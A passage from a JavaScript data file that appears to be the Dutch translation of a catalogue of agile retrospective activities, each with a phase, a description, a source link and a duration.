summary: "Ieder teamlid waardeert iemand anders met een bloem",
desc: "Koop voor elk teamlid een bloem en onthul die bij de retrospective. \
Iedereen krijgt een bloem om aan iemand anders te geven als blijk van hun waardering.",
source: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'><NAME></a>",
duration: "5 min",
suitable: "iteration, project"
};
all_activities[57] = {
phase: 2,
name: "<NAME>",
summary: "Als je baas ooggetuige was geweest van de laatste sprint, wat zou hij of zij dan willen veranderen?",
desc: "Stel je voor dat je baas de laatste sprint - onherkend - tussen het team gezeten had. Wat zou hij of zij dan denken \
over de interacties tussen de teamleden en de behaalde resultaten? Wat zou hij of zij willen veranderen? \
<br>Deze instelling daagt het team uit om zichzelf vanuit een ander perspectief te bekijken.",
source: "<a href='http://loveagile.com/retrospectives/undercover-boss'>Love Agile</a>",
duration: "10-15 min",
suitable: "iteration, project, release"
};
all_activities[58] = {
phase: 0,
name: "Blijkheidshistogram",
summary: "Teken een blijheidshistogram om mensen aan de praat te krijgen",
desc: "Bereid een flipchartvel voor met daarop een horizontale schaal van 1 (Ongelukkig) tot 5 (Blij).\
<ul>\
<li>Het ene na het andere teamlid plaatst een stickie bij aan de hand van hun gevoelens en plaatst daar commentaar bij</li>\
<li>Als er iets noemenswaardigs voorbijkomt in de reden, laat het team dat dan ofwel meteen bespreken of stel het uit tot later in de retrospective</li>\
<li>Als er iemand anders dezelfde score kiest, dan plaatst hij of zij zijn stickie boven de stickie die er al hangt, om zo effectief een histogram te vormen</li>\
</ul>",
source: "<a href='http://nomad8.com/chart-your-happiness/'><NAME></a> via <a href='https://twitter.com/nfelger'><NAME></a>",
duration: "2 min",
suitable: "iteration, project, release"
};
all_activities[59] = {
phase: 4,
name: "AHA!",
summary: "Gooi een bal in de rondte en ontdek wat er geleerd is",
desc: "Gooi een bal (bijvoorbeeld een koosh ball) rond het team en haal positieve gedachten en leermomenten boven water. Geef aan het begin van de sessie een vraag \
die beantwoord moet worden als de bal gevangen wordt, bijvoorbeeld: \
<ul>\
<li>Een ding dat ik in de afgelopen sprint geleerd heb</li>\
<li>Een geweldig ding dat iemand anders voor me deed</li>\
</ul>\
Afhankelijk van de vraag kan deze oefening gebeurtenissen naar boven halen die mensen dwars zaten. Als er alarmbellen afgaan, graaf dan wat dieper. Middels de '1 geweldig ding'-vraag \
kun je meestal afsluiten op een positieve noot.",
source: "<a href='http://scrumfoundation.com/about/catherine-louis'><NAME></a> en <a href='http://blog.haaslab.net/'><NAME></a> via <a href='https://www.linkedin.com/in/misshaley'><NAME></a>",
duration: "5-10 min",
suitable: "iteration, project",
};
all_activities[60] = {
phase: 3,
name: "Chaos Coctailfeest",
summary: "Identificeer, bespreek, verhelder en prioriteer actief een aantal acties",
desc: "Iedereen beschrijft een kaartje met een actie waarvan zij denken dat het belangrijk is om die uit te voeren - \
hoe specifieker (<a href='http://en.wikipedia.org/wiki/SMART_criteria'>SMART</a>), \
hoe beter. Daarna gaan de teamleden rond en praten over de kaarten als op een coctailfeest. \
Ieder conversatiepaar bespreekt de acties op hun twee kaarten. \
Beëindig het gesprek na 1 minuut. Ieder paar verdeelt 5 punten over de twee kaarten. \
De meeste punten gaan naar de belangrijkste actie. Organiseer 3 tot 5 gespreksrondes (afhankelijk van de grootte van de groep). \
Aan het einde telt iedereen de punten op hun kaart bij elkaar op. \
Ten slotte worden de kaarten gerangschikt op puntentotaal en beslist het team hoeveel er in de volgende iteratie gedaan kan worden, \
bovenaan te beginnen.\
<br><br>\
Addendum: In veel gevallen kan het nuttig zijn om de kaarten aan het begin van de sessie en tussen de gesprekken door \
random te ruilen. Op deze manier heeft geen van de partijen een belang in welke kaart de meeste punten krijgt. \
Dit is een idee van \
<a href='http://www.thiagi.com/archived-games/2015/2/22/thirty-five-for-debriefing'>Dr. Sivasailam “<NAME></a> via \
<a href='https://twitter.com/ptevis'><NAME></a>",
source: "<NAME> via <a href='http://www.wibas.com'>Malte Foegen</a>",
duration: "10-15 min",
suitable: "iteration, project, release, largeGroup"
};
all_activities[61] = {
phase: 1,
name: "Verwachtingen",
summary: "Wat kunnen anderen van jou verwachten? Wat kun jij van hen verwachten?",
desc: "Geef ieder teamlid een stuk papier. De onderste helft is leeg. De bovenste helft is in twee secties verdeeld:\
<ul>\
<li>Wat kunnen mijn teamleden van mij verwachten</li>\
<li>Wat ik verwacht van mijn teamleden</li>\
</ul>\
Iedere persoon vult de bovenste helft voor zichzelf in. Zodra iedereen klaar is, geven ze hun vel papier \
naar hun linkerbuur door en reviewen dan het vel wat aan hun gegeven werd. Op de onderste helft schrijven ze \
wat zij persoonlijk verwachten van die persoon, ondertekenen het en geven het door.<br>\
Neem, als de vellen papier het hele team rond gegaan zijn, wat tijd om het vel te reviewen en om observaties te delen.",
source: "<a href='http://agileyammering.com/2013/01/25/expectations/'><NAME></a>",
duration: "10-15 min",
suitable: "iteration, project, release, start"
};
all_activities[62] = {
phase: 3,
name: "<NAME>",
summary: "Visualiseer de belofte en het gemak van mogelijke werkwijzen die gekozen kunnen worden",
desc: "Onthul een vooraf getekende boom. Deel indexkaartjes (of stickies) uit en instrueer de deelnemers \
gewenste acties op te schrijven - een per kaart. Zodra iedereen klaar is, verzamel dan de kaartjes, schud ze, \
en lees ze een voor een voor. Hang iedere 'vrucht' in de boom aan de hand van de inschatting van de deelnemers: \
<ul>\
<li>Is het makkelijk om te doen? Hang het dan laag in de boom. Moeilijk? Hang het dan hoger.</li>\
<li>Lijkt het zinvol? Plaats het dan aan de linkerkant. Is de waarde hooguit dubieus? Hang het dan meer naar rechts.</li>\
</ul>\
De eenvoudige keuze is nu om de acties te kiezen die linksonder in de boom hangen. Als hier geen eensgezindheid over is, \
kun je ofewel een korte discussie houden om te beslissen of om te stemmen met stippen (dotvoting) over de acties in kwestie.",
source: "<a href='http://tobias.is'><NAME></a>",
duration: "10-15 min",
suitable: "iteration, project, release"
};
all_activities[63] = {
phase: 1,
name: "Vierendeling - Identificeer saaie stories",
summary: "Categoriseer alle stories in 2 dimensies om de saaie stories te identificeren",
desc: "Teken een groot vierkant en verdeel dat in 2 kolommen. \
Label de kolommen 'Interessant' en 'Saai'. Laat het team alles wat ze in de afgelopen iteratie gedaan hebben op stickies opschrijven en \
hang ze in de toepasselijke kolom. Laat hen ook een ruwe schatting geven van hoe lang het duurde.<br> \
Voeg nu een horizontale lijn toe, zo dat je vierkant 4 kwadranten heeft. Label de bovenste rij 'Kort' (kostte een aantal uur) \
en de onderste rij 'Lang' (kostte dagen). Rangschik de stickies in iedere kolom.<br> \
De lange en saaie stories zijn nu handig gegroepeerd om 'aan te vallen' in komende fasen.<br> \
<br>\
(Het opsplitsen van de beoordeling in fasen bevordert de focus. Je kunt de \
<a href='http://waynedgrant.wordpress.com/2012/08/12/diy-sprint-retrospective-techniques/'>\
vierendelingstechniek ook aanpassen voor andere 2-dimensionale categorizeringen</a>.)",
source: "<a href='http://waynedgrant.wordpress.com/2012/08/12/diy-sprint-retrospective-techniques/'><NAME></a>",
duration: "10",
suitable: "iteration, project",
};
all_activities[64] = {
phase: 1,
name: "<NAME>",
summary: "Ieders humeur opfleuren met positieve vragen",
desc: "Dit is een activiteit in rondes. In iedere ronde stel je het team een vraag. De teamleden schrijven hun antwoorden op \
(zodat iedereen de tijd heeft om na te denken) en lezen die dan voor aan de anderen.<br>\
Vragen die voorgesteld zijn voor software ontwikkelteams:\
<ol>\
<li>Wanneer was de laatste keer dat je echt geëngageerd / geanimeerd / productief was? Wat deed je toen? Wat was er gebeurd? \
Hoe voelde dat?</li>\
<li>Vanuit een applicatie-/code-perspectief: wat is het meeste geweldige dat je samen gebouwd hebt? Waarom is dat zo geweldig?</li>\
<li>Wat vind je van alle dingen die je voor dit bedrijf gebouwd hebt het meest waardevol? Waarom?</li>\
<li>Wanneer werkte je het beste met de Product Owner? Wat was er goed aan?</li>\
<li>Wanneer was de samenwerking het beste?</li>\
<li>Wat was je meest waardevolle bijdrage aan de ontwikkelcommunity (van dit bedrijf)? Hoe deed je dat?</li>\
<li>Laat je bescheidenheid thuis: Wat is de meest waardevolle vaardigheid/karaktertrek die je aan het team bijdraagt?\
Geef een voorbeelden?</li>\
<li>Wat is het belangrijkste kenmerk van het team? Wat maakt <NAME>?</li>\
</ol>\
<br>\
('Herinneringen uit de toekomst' (#37) werkt goed als volgende stap.)",
source: "<a href='http://blog.8thlight.com/doug-bradbury/2011/09/19/apreciative_inquiry_retrospectives.html'><NAME></a>, aangepast voor SW ontwikkeling door " + source_findingMarbles,
duration: "20-25 min groupsize",
suitable: "iteration, project"
};
all_activities[65] = {
phase: 2,
name: "'Brainwriting'",
summary: "Geschreven brainstormsessies vereffenen het veld voor de introverte teamleden",
desc: "Stel een centrale vraag, zoals 'Welke acties moeten we in de volgende sprint uitvoeren om te verbeteren?'. \
Deel pennen en papier uit. Iedereen schrijft hun ideeën op. Na drie minuten geeft iedereen het vel papier door aan hun linkerbuur en schrijft verder \
op het vel dat ze gekregen hebben. Zodra ze geen ideeën meer hebben, kunnen ze de ideeën van anderen lezen. \
Regels: Geen negatief commentaar en iedereen schrijft zijn ideeën slechts een keer op. (Als verschillende mensen hetzelfde idee opschrijven,\
is dat natuurlijk prima.) <br>\
Geef de vellen iedere drie minuten door totdat iedereen alle vellen gehad heeft. Geef ze nu nog een laatste keer door. \
Nu leest iedereen het vel door en kiest de drie beste ideeën die er op staan. Verzamel alle top 3's op een flipchartvel voor de volgende fase.",
source: "Prof. <NAME>",
duration: "20 min groupsize",
suitable: "iteration, project, release"
};
all_activities[66] = {
phase: 4,
name: "<NAME>",
summary: "Leg vast wat de deelnemers geleerd hebben tijdens de retro",
desc: "Iedereen schrijft op een stickie het meest opvallend wat ze geleerd hebben tijdens de retro. \
Hang de stickies op de deur. Ieder van de deelnemers leest zijn eigen notitie voor.",
source: source_judith,
duration: "5 min",
suitable: "iteration, project, release"
};
all_activities[67] = {
phase: 2,
name: "Bedrijfskaart",
summary: "Teken een kaart van het bedrijf alsof het een land was",
desc: "Deel pennen en papier uit. Stel de vraag 'Wat als het bedrijf / de afdeling / het team een terrein was? \
Hoe zou de kaart er dan uit zien? Welke tips zou je toevoegen voor een veilige reis?' Laat de deelnemers 5-10 minuten \
tekenen. Hang vervolgens de tekeningen op. Loop alle tekeningen langs om te interessante metaforen te verduidelijken en bespreken.",
source: source_judith,
duration: "15 min groupsize",
suitable: "iteration, project, release"
};
all_activities[68] = {
phase: 2,
name: "Het ergste dat we kunnen doen",
summary: "Ontdek hoe je de volgende sprint zeker kunt verknallen",
desc: "Deel pennen en stickies uit. Vraag iedereen om ideeën hoe de volgende sprint/release tot een \
gegarandeerde ramp gemaakt kan worden - een idee per stickie. Zodra iedereen klaar is met schrijven, hang je alle stickies \
op en loop je ze door. Identificeer en bespreek de thema's. <br>\
Verander deze negatieve acties in de volgende fase in hun tegenpool. ",
source: source_findingMarbles,
duration: "15 min groupsize",
suitable: "iteration, project, release"
};
all_activities[69] = {
phase: 0,
name: "3 voor de prijs van 1 - Opening",
summary: "Check in een keer de tevredenheid met de resultaten van de sprint, de communicatie en de stemming",
desc: "Bereid een flipchartvel voor met een coördinatenstelsel. De y-as is 'tevredenheid met de sprintresultaten'. \
De x-as is 'Aantal keren dat we afgestemd hebben'. Vraag iedere deelnemer om aan te geven waar hun tevredenheid \
en idee van benodigd aantal afstemmingen kruisen - met een emoticon om hun stemming aan te geven (dus niet gewoon een stip).\
Bespreek verrassende varianties en extreme stemmingen.<br>\
(Varieer de x-as om de huidige team-onderwerpen te reflecteren, bijv. 'Aantal keer dat we samen gecodeerd hebben'.)",
source: source_judith,
duration: "5 min groupsize",
suitable: "iteration, project"
};
all_activities[70] = {
phase: 4,
name: "3 voor de prijs van 1 - Sluiting: Werd iedereen gehoord?",
summary: "Check in een keer de tevredenheid met de resultaten van de retro, een eerlijke verdeling van spreektijd en de stemming",
desc: "Bereid een flipchartvel voor met een coördinatenstelsel. De y-as is 'tevredenheid met de retroresultaten'. \
De x-as is 'Eerlijke verdeling van spreektijd' (hoe meer het gelijk was, des te verder naar rechts). \
Vraag iedere deelnemer om aan te geven waar hun tevredenheid en idee van spreektijdbalans elkaar kruisen - \
met een emoticon om hun stemming aan te geven (dus niet gewoon een stip). Bespreek ongelijkheden in spreektijd en extreme stemmingen.",
source: source_judith,
duration: "15 min groupsize",
suitable: "iteration, project, release"
};
all_activities[71] = {
phase: 3,
name: "<NAME>",
summary: "Hoeveel is een actie het team waard?",
desc: "Hang de lijst met mogelijke acties op. Teken er een kolom naast genaamd 'Belang (in Euro)'. \
Het team krijgt 100 (virtuele) Euros om te verdelen over de acties. Hoe belangrijker ze een actie vinden, \
hoe meer ze er aan zouden moeten besteden. Maak het leuker door papieren geld uit een bordspel als Monopoly \
mee te nemen.\
<br><br>Laat iedereen het eens worden over de prijzen. Beschouw de 2 of 3 acties met de hoogste bedragen als gekozen.",
source: "<a href='http://www.gogamestorm.com/?p=457'>Gamestorming</a>",
duration: "10 min groupsize",
suitable: "iteration, project, release"
};
all_activities[72] = {
phase: 3,
name: "Verkooppraatje",
summary: "Actie-ideeën strijden om 2 beschikbare 'Gaan we doen'-sloten",
desc: "[Opgelet: Deze oefening creëert 'winnaars' en 'verliezers'. Gebruik het niet als er machtsonbalansen in het team zijn.]\
<br><br> \
Vraag iedereen om twee veranderingen te bedenken die ze door zouden willen voeren en laat hen die op schrijven \
op verschillende index kaartjes. Teken 2 sloten op het bord. Het eerste teamlid stop zijn favoriete idee in het \
eerste slot. Zijn buurman stopt zijn favoriete idee in het tweede slot. Het derde teamlid moet dan zijn favoriete idee \
verkopen ten opzichte van een van de al aanwezige ideeën die hij minder interessant vindt. Als het team het er mee eens is, \
worden de kaartjes geruild. Dit gaat door totdat iedereen zijn kaartjes gepresenteerd heeft. \
<br><br>Probeer de oefening niet te beginnen met de ideeën van dominante teamleden.",
source: source_judith,
duration: "15 min groupsize",
suitable: "iteration"
};
all_activities[73] = {
phase: 2,
name: "Pessimeren",
summary: "Als we de laatste sprint verknald hadden, wat zouden we dan gedaan hebben?",
desc: "Begin de activiteit door te vragen: 'You start the activity by asking: \
'Als we de laatste sprint verknald hadden, wat zouden we dan gedaan hebben?' \
Leg de antwoorden vast op een flipchart. De volgende vraag is dan: 'Wat zou het tegenovergestelde daarvan zijn?' \
Leg dit vast op een andere flipchart. Vraag nu de deelnemers om commentaar te leveren op deze 'tegengestelden'-lijst \
door stickies te schrijven met het antwoord op 'Wat weerhoudt ons er van om dit te doen?'. Deel vervolgens stickies uit \
in een andere kleur om daar weer commentaar op te geven door te vragen 'Waarom is dat zo?'",
source: source_judith,
duration: "25 min groupsize",
suitable: "iteration, project"
};
all_activities[74] = {
phase: 1,
name: "Schrijf het onuitspreekbare",
summary: "Schrijf op wat je nooit hardop zou kunnen zeggen",
desc: "Heb je het idee dat er onuitgesproken taboes zijn die het team tegenhouden? \
Beschouw dan deze stille activiteit: Benadruk de vertrouwelijkheid ('Wat in Vegas gebeurt, blijft in Vegas') \
en kondig van te voren aan dat alle aantekeningen van dez activiteit aan het eind vernietigd worden. \
Deel pas na deze uitleg aan iedere deelnemer een vel papier uit om het grootste ongesproken taboe in het bedrijf \
op te schrijven. <br> \
Zodra iedereen klaar is, geven ze hun vel aan hun linkerbuur. De buren lezen wat er staat \
en mogen dan commentaar toevoegen. De vellen worden weer doorgegeven en gaan zo de kring rond tot ze bij de auteur \
terugkomen. Deze leest het vel ook nog een keer door. Daarna worden alle vellen ceremonieel versnipperd of \
(als je buiten bent) verbrand.",
source: "Onbekend, via Vanessa",
duration: "10 min groupsize",
suitable: "iteration, project, release"
};
all_activities[75] = {
phase: 0,
name: "Bewonderingsronde",
summary: "De deelnemers drukken uit wat ze in elkaar bewonderen",
desc: "Start een bewonderingsronde door je linkerbuur aan te kijken en te vertellen 'Wat ik aan jou het meest bewonder is ...' \
Daarna kijkt deze persoon zijn/haar linkerbuur aan en herhaalt de oefening. Net zo lang tot de laatste deelnemer \
vertelt wat hij/zij in jou bewondert. Voelt geweldig, niet waar?",
source: source_judith,
duration: "5 min",
suitable: "iteration, project, release"
};
all_activities[76] = {
phase: 4,
name: "Opvolgen",
summary: "Hoe waarschijnlijk is het dat de acties uitgevoerd worden?",
desc: "Laat iedereen een emoticon tekenen op een stickie die hun huidige stemming weergeeft. \
Teken vervolgens een schaal op een flipchartvel, genaamd 'Waarschijnlijkheid dat we onze acties uitvoeren'. \
Zet '0%' aan de linkerkant van de schaal en '100%' aan de rechterkant. Vraag iedereen om hun stickie \
op de schaal te plaatsen, afhankelijk van hun zekerheid in het opvolgen van de acties door het team.<br> \
Bespreek interessante resultaten zoals een lage waarschijnlijkheid of slechte stemming.",
source: source_judith,
duration: "5-10 min",
suitable: "iteration, project, release"
};
all_activities[77] = {
phase: 1,
name: "4 Ls - Loved (geweldig vond), Learned (geleerd heb), Lacked (miste), Longed for (naar verlangde)",
summary: "Onderzoek wat iedereen afzonderlijk geweldig vond, van geleerd heeft, miste, of waar ze naar verlangden",
desc: "Iedere persoon brainstormt afzonderlijk over het antwoord op de volgende 4 vragen: \
<ul> \
<li>Wat ik geweldig vond</li> \
<li>Wat ik geleerd heb</li> \
<li>Wat ik miste</li> \
<li>Waar ik naar verlangde</li> \
</ul> \
Verzamel de antwoorden met stickies op een flipchart of in een digitale tool als je team gedistribueerd is. \
Vorm 4 subgroepen, voor ieder van de L's, lees alle notities, identificeer de patronen en rapporteer de bevindingen aan de gehele groep. \
Gebruik de uitkomsten als input voor de volgende fase.",
source: "<a href='http://ebgconsulting.com/blog/the-4l%E2%80%99s-a-retrospective-technique/'><NAME> & <NAME></a> waarschijnlijk via <a href='http://www.groupmap.com/portfolio-posts/agile-retrospective/'>groupmap.com</a>",
duration: "30 min",
suitable: "iteration, project, release, distributed"
};
all_activities[78] = {
phase: 1,
name: "Value Stream Mapping",
summary: "Breng de waardestromen van je iteratieproces in kaart",
desc: "Leg een voorbeeld van Value Stream Mapping uit. (Als je er onbekend mee bent, check dan \
<a href='http://www.youtube.com/watch?v=3mcMwlgUFjU'>deze video</a> of \
<a href='http://wall-skills.com/2014/value-stream-mapping/'>deze poster</a>.) \
Vraag het team om een waardestromingskaart van hun proces te tekenen vanuit het perspectief van \
een enkele user story. Indien nodig kun je de groep in meerdere subgroepjes verdelen en het proces \
faciliteren waar nodig. Bekijk de voltooide kaarten. Waar zitten de grote vertragingen, knelpunten, \
en bottlenecks?",
source: "<a href='http://pragprog.com/book/ppmetr/metaprogramming-ruby'>Paolo "Nusco" Perrotta</a>, geïnspireerd door <a href='http://www.amazon.com/exec/obidos/ASIN/0321150783/poppendieckco-20'>Mary & <NAME></a>",
duration: "20-30 min",
more: "http://leadinganswers.typepad.com/leading_answers/2011/09/pmi-acp-value-stream-mapping.html",
suitable: "iteration, project, release, distributed"
};
all_activities[79] = {
phase: 1,
name: "Herhalen & Vermijden",
summary: "Brainstorm wat er herhaald moet worden en welke soorten gedrag vermeden moeten worden",
desc: "Gebruik 2 flipchartvellen, respectievelijk getiteld 'Herhalen' en 'Vermijden'. \
De deelnemers schrijven zaken voor de kolommen op stickies - 1 idee per stickie. \
Je kunt de stickies ook nog kleurcoderen. Bijvoorbeeld 'Mensen', 'Proces', 'Techniek', ... \
Laat iedereen hun stickies voorlezen en in de juiste kolom hangen. \
Worden de ideeën gedeeld door alle deelnemers?",
source: "<a href='http://www.infoq.com/minibooks/agile-retrospectives-value'><NAME>ves</a>",
more: "http://www.funretrospectives.com/repeat-avoid/",
duration: "15-30",
suitable: "iteration, project, remote"
};
all_activities[80] = {
phase: 0,
name: "Uitkomstverwachtingen",
summary: "Iedereen geeft aan wat zijn verwachtingen van de retrospective",
desc: "Iedereen in het team stelt een doel van de retrospective vast, met andere woorden wat ze \
met deze bijeenkomst willen bereiken. Voorbeelden van de deelnemers zouden kunnen zeggen: \
<ul> \
<li>Ik ben al blij als we 1 goede actie formuleren</li> \
<li>Ik wil praten over onze discussie over unit tests en overeenkomen hoe we dat in de toekomst gaan doen</li> \
<li>Ik beschouw deze retro als een succes als we een plan bedenken om $obscureModule op te schonen</li> \
</ul> \
[Je kunt checken of deze doelen gehaald zijn door af te sluiten met activiteit #14.] \
<br><br> \
[Het <a href='http://liveingreatness.com/additional-protocols/meet/'>Meet - Core Protocol</a>, dat deze activiteit inspireerde \
beschrijft ook 'Alignment Checks': Wanneer iemand denkt dat de retrospective niet aan iemands behoefte voldoet, \
kunnen ze om een Alignment Check vragen. Dan kan iedereen een getal van 0 tot 10 noemen om aan te geven in hoeverre ze \
krijgen wat ze willen. De persoon met het laagste getal mag het dan overnemen om dichter bij hun doel te komen.]",
source: "Geïnspireerd door <a href='http://liveingreatness.com/additional-protocols/meet/'>Jim & <NAME></a>",
duration: "5 min groupsize",
suitable: "iteration, project, release"
};
all_activities[81] = {
phase: 0,
name: "<NAME>",
summary: "Iedereen vat de afgelopen sprint samen in 3 woorden",
desc: "Vraag iedereen om de afgelopen iteratie in 3 woorden te beschrijven. \
Geef ze een minuut om iets te bedenken en ga dan het team rond. \
Dit helpt mensen om de laatste sprint te herinneren, zodat ze een basis hebben om mee te starten.",
source: "<NAME>",
duration: "5 min groupsize",
suitable: "iteration, project"
};
all_activities[82] = {
phase: 4,
name: "<NAME>",
summary: "Check of je de roos van belangrijke zaken kunt raken",
desc: "Teken een of meerdere dartborden op een flipchart. \
Schrijf naast ieder dartbord een vraag, bijvoorbeeld \
<ul> \
<li>We hebben gesproken over de zaken die belangrijk voor mij zijn</li> \
<li>Ik heb openlijk gesproken</li> \
<li>Ik ben er zeker van dat we de volgende sprint beter zal gaan</li> \
</ul> \
De deelnemers markeren hun mening met een stickie. In de roos is 100% overeenstemming. \
Buiten de rand van het dartbord is absoluut geen overeenstemming.",
source: "<a href='http://www.philippflenker.de/'><NAME></a>",
duration: "2-5",
suitable: "iteration, release"
};
all_activities[83] = {
phase: 0,
name: "Actietabel van de vorige retro",
summary: "Bekijk hoe verder te gaan met de acties uit de vorige retro",
desc: "Teken een tabel met 5 kolommen. De eerste kolom bevat de acties uit de vorige retro. \
De overige kolommen zijn getiteld 'Meer doen', 'Blijven doen', 'Minder doen' en 'Ophouden met'. \
Deelnemers plaatsen 1 stickie per rij in de kolom die hun mening over de actie weergeeft. \
Faciliteer naderhand een korte discussie per actie, bijvoorbeeld door te vragen: \
<ul> \
<li>Waarom moeten we hier mee ophouden?</li> \
<li>Waarom is het zinvol om hier mee door te gaan?</li> \
<li>Werd aan de verwachtingen voldaan?</li> \
<li>Waarom lopen de meningen zo ver uit elkaar?</li> \
</ul>",
source: "<a href='https://sven-winkler.squarespace.com/blog-en/2014/2/5/the-starfish'>Sven Winkler</a>",
duration: "5-10",
suitable: "iteration, release"
};
all_activities[84] = {
phase: 0,
name: "Groeten uit de sprint",
summary: "Ieder teamlid schrijft een ansichtkaart over de laatste iteratie",
desc: "Herinner het team aan hoe een ansichtkaart er uit ziet: \
<ul> \
<li> Een plaatje op de voorkant,</li> \
<li> een berichtje op de halve achterkant,</li> \
<li> het adres en de postzegel op de andere helft.</li> \
</ul> \
Deel blanco indexkaarten uit en vertel het team dat ze 10 minuten hebben om een ansichtkaart \
te schrijven aan iemand die het hele team kent (bijvoorbeeld een ex-collega). \
Als de tijd om is, verzamel en schud de kaarten, alvorens ze te herverdelen. \
De teamleden lezen om beurt de kaart die ze gekregen hebben voor.",
source: '<a href="http://uk.linkedin.com/in/alberopomar"><NAME></a>',
duration: "15 min",
suitable: "iteration, project"
};
all_activities[85] = {
phase: 1,
name: "Communicatielijnen",
summary: "Visualizeer hoe de informatie in-, uit- en door het team stroomt",
desc: "Verlopen de informatiestromen niet zo soepel als ze zouden moeten? Vermoed je dat er bottlenecks zijn? \
Visualizeer dan de manieren waarop de informatie stroomt om startpunten voor verbetering te vinden. \
Als je een specifieke stroom wilt bekijken (bijvoorbeeld producteisen, blokkeringen, ...) check dan \
Value Stream Mapping (#79). Voor problematische situaties kun je iets als \
Oorzaak-Gevolg-Diagrammen (#25) proberen. <br>\
Bekijk de voltooide tekening. Waar zitten de vertragingen en doodlopende wegen?",
source: "<a href='https://www.linkedin.com/in/bleadof'><NAME></a>",
duration: "20-30 min",
suitable: "iteration, project, release"
};
all_activities[86] = {
phase: 1,
name: "Vergaderingstevredenheidhistogram",
summary: "Maak een histogram met hoe goed de rituele vergaderingen gingen tijdens de sprint",
desc: "Bereid een flipchart voor voor elke vergadering die iedere iteratie voorkomt, \
(bijvoorbeeld de Scrum ceremonies) met een horizontale schaal van 1 ('Voldeed niet aan de verwachtingen') \
tot 5 ('Boven verwachting'). Ieder teamlid voegt een stickie toe op basis van hun inschatting \
van ieder van deze vergaderingen. Laat het team bespreken waarom sommige vergaderingen geen 5 scoorden. \
<br> \
Je kunt verbeteringen bespreken als onderdeel van deze activiteit of in een latere activiteit zoals \
het perfectioneringsspel (#20) or Plus \& Delta (#40).",
source: "<a href='https://www.linkedin.com/profile/view?id=6689187'><NAME></a>",
duration: "10-20 min",
suitable: "iteration, project, release"
};
all_activities[87] = {
phase: 3,
name: "Blokkeringencup",
summary: "Blokkeringen ('Impediments') strijden tegen elkaar in wereldbeker stijl",
desc: "Bereid een flipchart voor met een speelschema voor de kwartfinale, halve finale en finale. \
Alle deelnemers schrijven acties op stickies, totdat je acht acties hebt. \
Schud ze en plaats ze op willekeurige volgorde op het schema.<br>\
Het team moet nu stemmen voor een van de twee acties in ieder paar. Verplaats de winnende actie \
naar de volgende ronde, totdat er een winnaar van de blokkeringencup bekend is. \
<br><br>\
Als je meer dan een of twee acties over wilt houden, dan kun je ook nog strijden om de derde plaats.",
source: "<a href='http://obivandamme.wordpress.com'>Pascal Martin</a>, geïnspireerd door <a href='http://borisgloger.com/'><NAME>'s 'Bubble Up'</a>",
duration: "10-15 min",
suitable: "iteration, project, release"
};
all_activities[88] = {
phase: 1,
name: "Retrobruiloft",
summary: "Verzamel voorbeelden van iets ouds, iets nieuws, iets dat geleend is en iets dat blauw is",
desc: "Vraag het team, analoog aan het anglo-saksische huwelijksgebruik om voorbeelden te geven in de volgende categorieën: \
<ul> \
<li>Iets ouds<br> \
Positieve feedback of constructieve kritiek op bestaande processen</li> \
<li>Iets nieuws<br> \
Positieve feedback of constructieve kritiek op lopende experimenten</li> \
<li>Iets dat geleend is<br> \
Gereedschap/idee van een ander team, het web of jezelf voor een potentieel experiment</li> \
<li>Iets blauws<br> \
Iedere blokkering of bron van verdriet</li> \
</ul> \
Een voorbeeld per stickie. Er is maar 1 regel: Als iemand iets in de 'Iets blauws' kolom hangt, \
dan moet hij/zij ook een positieve opmerking in ten minste 1 andere kolom plaatsen.<br><br> \
Iedereen hangt hun stickies in de juiste kolom op het bord en beschrijft het voorbeeld in het kort.",
source: "<a href='http://scalablenotions.wordpress.com/2014/05/15/retrospective-technique-retro-wedding/'><NAME></a>, via Todd Galloway",
duration: "5-10 min",
suitable: "iteration, project, release"
};
all_activities[89] = {
phase: 0,
name: "Opvrolijken met Agile Waarden",
summary: "Herinner elkaar aan de Agile waarden die je hebt laten zien",
desc: "Teken vier grote balonnen en schrijf in ieder ervan een agile kernwaarde: \
<ol> \
<li>Individuen en hun interacties</li> \
<li>Werkende software opleveren</li> \
<li>Samenwerking met de klant</li> \
<li>Reageren op verandering</li> \
</ol> \
Vraag deelnemers om voorbeelden op te schrijven van momenten waarop hun collega's een van de waarden vertoonden \
- 1 opbeurend voorbeeld per stickie. Laat iedereen om de beurt hun stickies in de bijbehorende ballon hangen \
en hardop voorlezen. Verheug je over hoe jullie de agile kernwaarden belichamen. :)",
source: "<a href='http://agileinpills.wordpress.com'><NAME></a>",
duration: "10-15 min",
suitable: "iteration, project, release"
};
all_activities[90] = {
phase: 2,
name: "Postersessie",
summary: "Verdeel een grote groep in kleinere groepen die posters maken",
desc: "Nadat je belangrijke onderwerpen hebt geïdentificeerd in de vorige fase, \
kun je nu in detail treden. Verdeel de groep in kleinere groepen van 2-4 personen, \
waarbij ieder subgroepje een poster voorbereiden en die presenteren aan de andere groepen. \
Als er meerdere belangrijke onderwerpen geïdentificeerd zijn, laat de teamleden dan het onderwerp \
selecteren dat ze verder uit willen werken.<br> \
Geef het team richtlijnen over wat de posters moeten behandelen/beantwoorden, zoals: \
<ul> \
<li>Wat gebeurt er precies? Waarom is dat een probleem?</li> \
<li>Waarom / wanneer / hoe treedt deze situatie op?</li> \
<li>Wie heeft er voordeel van de huidige situatie? En welk voordeel is dat?</li> \
<li>Mogelijke oplossingen (met voor- en nadelen)</li> \
<li>Wat zou kunnen helpen om de situatie te veranderen?</li> \
<li>... wat er verder nog van toepassing is ...</li> \
</ul> \
De groepen krijgen 15-20 minuten om hun posters te bespreken en maken. Naderhand \
komen alle groepen weer bij elkaar en krijgt elke groep 2 minuten om hun resultaten te presenteren.",
source: "Onbekend, aangepast door " + source_findingMarbles + ", geïnspireerd door <NAME>",
duration: "30 min",
suitable: "iteration, project, release"
};
all_activities[91] = {
phase: 4,
name: "Motivatie Poster",
summary: "Verander acties in posters om de zichtbaarheid \& opvolging te verbeteren",
desc: "Neem de lijst van alle actie items en verander ieder punt in een grappige poster (zie de foto's voor voorbeelden). \
<ol>\
<li>Kies een beeld</li>\
<li>Kies een titel</li>\
<li>Schrijf een beschrijving vol zelfspot</li>\
</ol>\
Print je meesterwerk zo groot mogelijk (A4 is het absolute minimum) en hang de poster op een prominente plaats.",
source: "<a href='http://fr.slideshare.net/romaintrocherie/agitational-posters-english-romain-trocherie-20140911'><NAME></a>",
duration: "30 min per topic / poster",
suitable: "release"
};
all_activities[92] = {
phase: 1,
name: "Vertel een verhaal met vormende woorden",
